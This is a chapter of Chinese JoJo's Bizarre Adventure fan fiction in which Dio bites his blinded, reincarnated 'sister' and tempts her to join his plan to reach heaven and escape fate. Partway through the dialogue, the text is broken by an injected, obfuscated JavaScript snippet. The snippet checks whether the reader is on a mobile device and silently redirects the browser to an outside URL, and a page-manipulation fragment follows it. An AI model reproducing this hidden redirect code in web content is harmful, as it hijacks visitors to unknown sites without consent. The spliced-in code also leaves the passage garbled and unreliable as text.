我静静地坐着,因为失去了视觉,我的其它感官被无限放大,我能够敏锐地听到那人的动静,能够感受到那人身上所散发的香气…… 我的心跳声逐渐加快,脑子里的弦变得紧绷起来……紧接着,我听到了那人轻轻笑了一声。 “好久不见,妹妹。” 46.超越命运(倒v结束) 顺手把准备前去病房的护士的血吸干净后,迪奥站在了那扇门前。透过门窗玻璃,他看到了格蕾丝端坐在床上,白色的纱布缠绕在她的眼睛上,她双唇紧抿,脸色苍白,似乎在想着什么。 这副病怏怏的模样和她以前简直一模一样,虽然这个她染了一头丑陋的红毛,但是毫无疑问,不会错的,那根植在他们二人之间的密不可分的联系…… 他抬起手推开了门,格蕾丝似乎注意到了他的声响,微微抬起头,却没有转过身,迪奥立刻发动了时停,一步步朝着格蕾丝走过去。 当他正好走到格蕾丝的背后时,时停结束了,他轻笑:“好久不见,妹妹。” 格蕾丝没有回头,她说:“你在说什么?你是什么人?我是个男人,你认错人了吧,我不是你妹妹。” 哼,又在装傻吗?果然无论过了多久 ,无论她发生了什么不可思议的变化,她最擅长的事情就是装模作样。无论是曾经面不改色喝下他投了毒的药,还是现在假装和他并不相识,他的妹妹一向热爱装模作样。 不过妹妹,你还是没控制好情绪,如果是平时的你,根本不会对一个路人说这么多话的。 迪奥俯下身子,轻轻抚摸着她丑陋的红毛,轻声说:“你知道我是谁的,别装了,我可爱的格蕾丝。” “……” 我要吐了。 把你的臭爪子从我头上拿开啊啊啊啊啊啊啊。 还有,什么叫做你可爱的格蕾丝?谁是你的了!啊啊啊啊啊救命啊!这里有变态啊! 我的脑子里此刻有无数只土拨鼠在上蹿下跳疯狂尖叫,我的拳头也痒痒的,很想和某个人的脸来个亲密接触。 但我不能。因为我现在是个瞎子。想也知道,我打不过迪奥。 而约旦河刚刚也在我的脑子里悄悄告诉我,我看不见,它也看不见。因为我现在灵魂完整了,和它伤害会同步……所以说这个灵魂完整到底给我带来什么实质的好处了啊喂! 迪奥那家伙绝对是看我现在变成瞎子了,还是个落单的瞎子,才来找我的吧?靠!这小子就是这么心机! 不行,现在我还打不了他,那他来找我干嘛……不会是又想搞我吧?不会吧,别吧,我现在可是男人啊,你不要过来啊! 我僵硬地笑了笑,准备侧头朝向他可能在的位置:“你是……” 我话还没说完,迪奥的牙齿就突然扣在了我的脖子上。我惊恐地掐住他脖子,准备使劲在他的喉结上下方的气管掐碎,却惊恐地想起:这家伙是吸血鬼啊!我得拿紫外线弄死他! 可是他的尖牙已经直直捅入了我的脖子,感受到尖锐的刺痛,我深吸一口气,咬牙:“我亲爱的哥哥,久别重逢你就是这么和我……” 我的脑子因为缺血逐渐混沌起来,在我昏过去的最后一刻,我听到了迪奥张狂的魔性笑声。 ……我只祈祷我再次醒来时,屁股还安然无恙。拜托了。 * 当我再次醒来时,我不知道过去了多久,我只知道我很饿,饿得刚好能吃下一个吸血鬼。甚至不知道我在哪。我的眼睛依然看不见,眼前的虚无和未知的境况带给了我极大的不安。 察觉到这里除了我,还有一个生命体,我开口:“这是哪。” “这是我的府邸。” 迪奥的声音从不知道什么地方传来,在这个房间回响。我抓着我身下这片柔软……我应该是在沙发上,而我所处的这个大房间必定非常空旷。 他带我来这里做什么,我的屁股也没有辣痛感。不可能是要策反我一起对付乔斯达家族吧? 不,不会的。迪奥对自己一向十分自信,他不至于没信心到需要笼络我和他一起对抗乔斯达的人。 何况按照格蕾丝的人设,想也知道我不会和他合作打乔纳森的后代。 那他要干嘛?又没看上我屁股,又不找我和他一起对付乔斯达家族,他到底要干嘛?还有,他怎么就敢确定我是格蕾丝的,万一我俩单纯脸像呢?! 正当我思绪万千时,我身旁突然塌陷了一角…… !! 我惊恐地准备往另外一边爬去,却一把被他握住了手腕。 “我至今仍然无法相信,这个世界上竟然有人能够做到死而复活……不,准确来说,应该是这个世界上竟然存在着一种生来便追求永恒的生命体。” 我看不见迪奥的神情,但我能够猜出他现在以什么姿态跟我说话。他必定是带着一种玩味的魔性笑容。 我身旁的这个魔鬼长着一副迷惑人心的面皮,不断蛊惑人跟随着他下地狱。但我绝不会轻易上当,何况我现在还瞎了,他的美貌根本诱惑不了我。 我淡淡地说:“我不明白你的意思。” “我最开始也不明白,可是我发现了一些很有趣的东西后……我明白了。最初你突然出现在家里,所有人都说你是我的妹妹,只有我一个人确信,你之前是不存在的。那个时候我以为你是什么魔鬼,改变了所有人的认知。可是后面,超越了人类生命后,我才明白了你到底是个什么存在!” “……” “你是某个生命体为了实现进化而被创造出来的吧?它需要食物,足以支撑它进化成为永恒生命体的食物,所以它创造了你,借由你来进食。” 我没有吭声,我脑子里的约旦河也没有说话。但我这副默不作声的姿态显然让迪奥认为他说的没错,他狂笑了起来,然后开始抚摸我的脸。 “它的食物是命运吧,乔斯达家族的命运。所以你才会不断死亡,然后又复活……这便是你的命运。而你最终也会成为它的食粮,不是吗?” 约旦河非人的声音在我脑子里响起,它说:“不要相信他说的话。他是个恶人。” 我没有理会约旦河,只是一把抓住迪奥抚摸我的脸的手:“你到底想说什么。” 迪奥突然环抱了过来,我感到一阵恶心,但是没有推开他。 他开口:“妹妹,你还记得你说你想看歌剧,我带你偷偷去剧院看的那个吗?” 我记得,但是我没有这么说。我只是说:“我忘了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404068|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哼。” 他笑了,尖锐的指甲卡在了我的喉结上,他微微摩挲着,轻声道:“我也记不太清了,只记得当时那个台上的人非常大声地唱了一句台词——” 他的语气突然变得高昂起来,但又带着点不可言说的暧昧:“命运啊,显示您的力量吧!我们身不由己,命定如何,就当如何!” 我感觉他放在我的喉管上的指头在发力了,于是我微微往后退了点,沉静着问:“你想说什么呢,哥哥。我不明白。” 他又贴了过来。我感觉我空荡荡的胃部开始翻滚。他身上夹杂着一股不可言说的诱人生欲的香气,还有淡淡的血腥味,这两份气味夹杂在一起,我感觉我的脑子快要疯掉了。我想吐。 “你不想接受这样的命运吧。为了乔斯达家族反复死亡复活的命运。”他在我的耳边轻声呢喃着,“我有个方法,可以让你摆脱这份命运。” 约旦河在我的脑子里悄声说:“不要相信这个魔鬼!使用逆转沙漏吧,在这里死去,然后你就可以回到你原本的世界了。你不是还要回去见阳莱和直子吗,你的朋友们还在杜王町等你和他们一起吃冰淇淋,你的队友们还在意大利等着你再次苏醒……蕾娜塔,不要相信他!” 约旦河嘈杂的声音在我的脑子里打转,我深吸一口气,试图挣脱迪奥的怀抱:“可我并不需要你的帮助,我自己会违抗命运。” 他闷闷地笑了:“妹妹啊,你有没有想过,你违抗命运的意图本身,就是命运为你设下的一环。除非……” “你拥有上天堂的资格。” 他突然冷不丁地来了这一句,我停止了挣扎,目盲带来的不安渐渐在我的脑子消退,我冷静地问他:“你什么意思?” 他的手轻轻覆盖在我的眼睛上,然后奇迹出现了!我的眼睛重见了光明! 但是这份光明还未完全彻底降临我身上,我的视线依然是模糊的。 他抚摸着我的脸,挑起我的下巴:“强加于身的命运实在太残酷了,来吧,握住我的手吧,妹妹,加入我的天堂计划!然后——” “和我一起超越命运!” 他沉重的话语打在我的胸腔上,我感受到了如同溺亡般的可怖的窒息和一种骨头被钉住的刺痛。 “别听他的!”约旦河嘶嘶的警告声在我脑子里嗡嗡作响,“蕾娜塔,不要相信他!” 而我的眼前就只有背对着烛火的,仿佛在发光般的迪奥的身影,我的视线依然是模糊的。 我垂下头,手指抓着地面:“真的吗?我真的可以……超越命运吗……” “是啊,妹妹。只要这样,你就可以摆脱不断死亡与复活的命运,摆脱和JOJO的宿命,和我一起——” 他半跪下来,伸出他的手,我抬起头,发现我的视线逐渐变得清晰起来。 迪奥白皙的肤色在烛火的照耀下如同白玉般闪耀,柔和的光打在他那绮丽的凌厉面庞上,他那双血红色的眼睛宛如鸽子血般动人,他微微张开他那弧度优美的唇: “抵达天堂!”